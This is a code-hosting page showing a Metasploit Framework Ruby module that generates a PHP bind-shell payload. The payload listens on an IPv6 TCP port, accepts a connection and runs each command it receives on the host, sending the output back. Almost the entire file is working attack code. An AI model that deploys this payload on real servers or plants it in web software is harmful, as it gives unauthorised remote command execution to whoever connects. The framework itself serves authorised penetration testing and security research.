PageRenderTime 33ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/singles/php/bind_php_ipv6.rb

https://bitbucket.org/cfield/metasploit-framework
Ruby | 87 lines | 62 code | 11 blank | 14 comment | 9 complexity | edb80d37285edb5f4c65064ff513ec67 MD5 | raw file
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. require 'msf/core/payload/php'
  9. require 'msf/core/handler/bind_tcp'
  10. require 'msf/base/sessions/command_shell'
  11. require 'msf/base/sessions/command_shell_options'
  12. module Metasploit3
  13. include Msf::Payload::Single
  14. include Msf::Payload::Php
  15. include Msf::Sessions::CommandShellOptions
  16. def initialize(info = {})
  17. super(merge_info(info,
  18. 'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6',
  19. 'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)',
  20. 'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
  21. 'License' => BSD_LICENSE,
  22. 'Platform' => 'php',
  23. 'Arch' => ARCH_PHP,
  24. 'Handler' => Msf::Handler::BindTcp,
  25. 'Session' => Msf::Sessions::CommandShell,
  26. 'PayloadType' => 'cmd',
  27. 'Payload' =>
  28. {
  29. 'Offsets' => { },
  30. 'Payload' => ''
  31. }
  32. ))
  33. end
  34. #
  35. # PHP Bind Shell
  36. #
  37. def php_bind_shell
  38. dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
  39. shell = <<-END_OF_PHP_CODE
  40. #{php_preamble({:disabled_varname => dis})}
  41. $port=#{datastore['LPORT']};
  42. $scl='socket_create_listen';
  43. if(is_callable($scl)&&!in_array($scl,#{dis})){
  44. $sock=@$scl($port);
  45. }else{
  46. $sock=@socket_create(AF_INET6,SOCK_STREAM,SOL_TCP);
  47. $ret=@socket_bind($sock,0,$port);
  48. $ret=@socket_listen($sock,5);
  49. }
  50. $msgsock=@socket_accept($sock);
  51. @socket_close($sock);
  52. while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
  53. {
  54. $o = '';
  55. $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
  56. if(FALSE===$c){break;}
  57. if(substr($c,0,3) == 'cd '){
  58. chdir(substr($c,3,-1));
  59. } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
  60. break;
  61. }else{
  62. #{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
  63. }
  64. @socket_write($msgsock,$o,strlen($o));
  65. }
  66. @socket_close($msgsock);
  67. END_OF_PHP_CODE
  68. return shell
  69. end
  70. #
  71. # Constructs the payload
  72. #
  73. def generate
  74. return super + php_bind_shell
  75. end
  76. end